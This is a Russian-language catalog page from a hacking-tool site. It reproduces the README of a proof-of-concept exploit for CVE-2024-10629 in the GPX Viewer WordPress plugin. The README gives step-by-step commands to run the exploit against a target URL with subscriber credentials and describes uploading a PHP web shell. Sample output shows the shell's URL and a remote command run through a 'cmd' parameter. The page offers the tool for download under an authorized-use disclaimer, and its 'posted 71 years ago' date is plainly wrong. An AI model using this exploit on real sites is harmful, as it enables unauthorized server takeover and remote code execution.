Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-10629 — GPX Viewer <= 2.2.8 - Аутентифицированный (Подписчик+) Произвольное создание файлов | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2024-10629
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubnxploited/cve-2024-10629

CVE-2024-10629

GPX Viewer <= 2.2.8 - Аутентифицированный (Подписчик+) Произвольное создание файлов

Репозиторий
71 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🛠️ GPX Viewer Exploit (CVE-2024-10629)

Этот репозиторий содержит эксплойт proof-of-concept для плагина GPX Viewer для WordPress, который уязвим к произвольному созданию файлов (CVE-2024-10629). Уязвимость позволяет аутентифицированным атакующим с доступом уровня подписчика и выше создавать произвольные файлы на сервере затронутого сайта, что потенциально может привести к удалённому выполнению кода.

📝 Сведения о CVE

  • CVE ID: CVE-2024-10629
  • Опубликовано: 2024-11-13
  • Обновлено: 2024-11-13
  • Уязвимый плагин: GPX Viewer <= 2.2.8
  • Тип уязвимости: Аутентифицированное (Subscriber+) произвольное создание файлов
  • Оценка: 8.8 HIGH
  • Критичность: HIGH
  • Версия: 3.1
  • Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Описание

Плагин GPX Viewer для WordPress уязвим к произвольному созданию файлов из-за отсутствия проверки прав доступа и проверки типа файла в функции gpxv_file_upload() во всех версиях до 2.2.8 включительно. Это позволяет аутентифицированным атакующим с доступом уровня подписчика и выше создавать произвольные файлы на сервере затронутого сайта, что может сделать возможным удалённое выполнение кода.

🚀 Возможности

  • Автоматический вход с использованием указанных имени пользователя и пароля.
  • Проверка версии плагина GPX Viewer.
  • Загрузка PHP-шелла на сервер.
  • Проверка успешной загрузки шелла.
  • Выполнение команд на сервере через загруженный шелл.

📚 Использование

Предварительные требования

  • Python 3.x
  • Библиотека requests

Запуск эксплойта

  1. Клонируйте репозиторий:

    git clone https://github.com/Nxploited/CVE-2024-10629/
    cd CVE-2024-10629
    
  2. Установите требуемую библиотеку:

    pip install requests
    
  3. Запустите эксплойт:

    python exploit.py -u <target_url> -un <username> -p <password>
    

    Замените <target_url>, <username> и <password> на соответствующие значения.

Пример

python CVE-2024-10629.py -u http://example.com/wordpress -un subscriber -p subscriber_password

Вывод

  • Скрипт выведет версию плагина и проверит, является ли он уязвимым.
  • Затем он выполнит вход с использованием предоставленных учётных данных и попытается загрузить шелл.
  • В случае успеха он проверит загрузку шелла и выполнит пример команды (ls).
[+] WordPress plugin version: 2.2.8
[+] Vulnerable version detected. Proceeding with exploitation...
[+] Logged in successfully.
[+] Shell uploaded. Checking shell...
[+] Shell uploaded successfully.
[+] Shell URL: http://example.com/wp-content/uploads/gpx/uncategorized/nxploit_exploit.php
[+] Command output:
http://example.com/wp-content/uploads/gpx/uncategorized/nxploit_exploit.php?cmd=ls
index.php
wp-admin
wp-content
wp-includes
...

Примеры команд

  • ls = показать файлы
  • uname -a = показать информацию о системе

⚠️ Отказ от ответственности

Данный эксплойт предназначен только для образовательных целей и авторизованного тестирования. Несанкционированное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным. Авторы и участники этого репозитория не несут ответственности за любое неправомерное использование или ущерб, причинённый данным эксплойтом.


Автор: Khaled Alenazi (Nxploit)

Скачать инструмент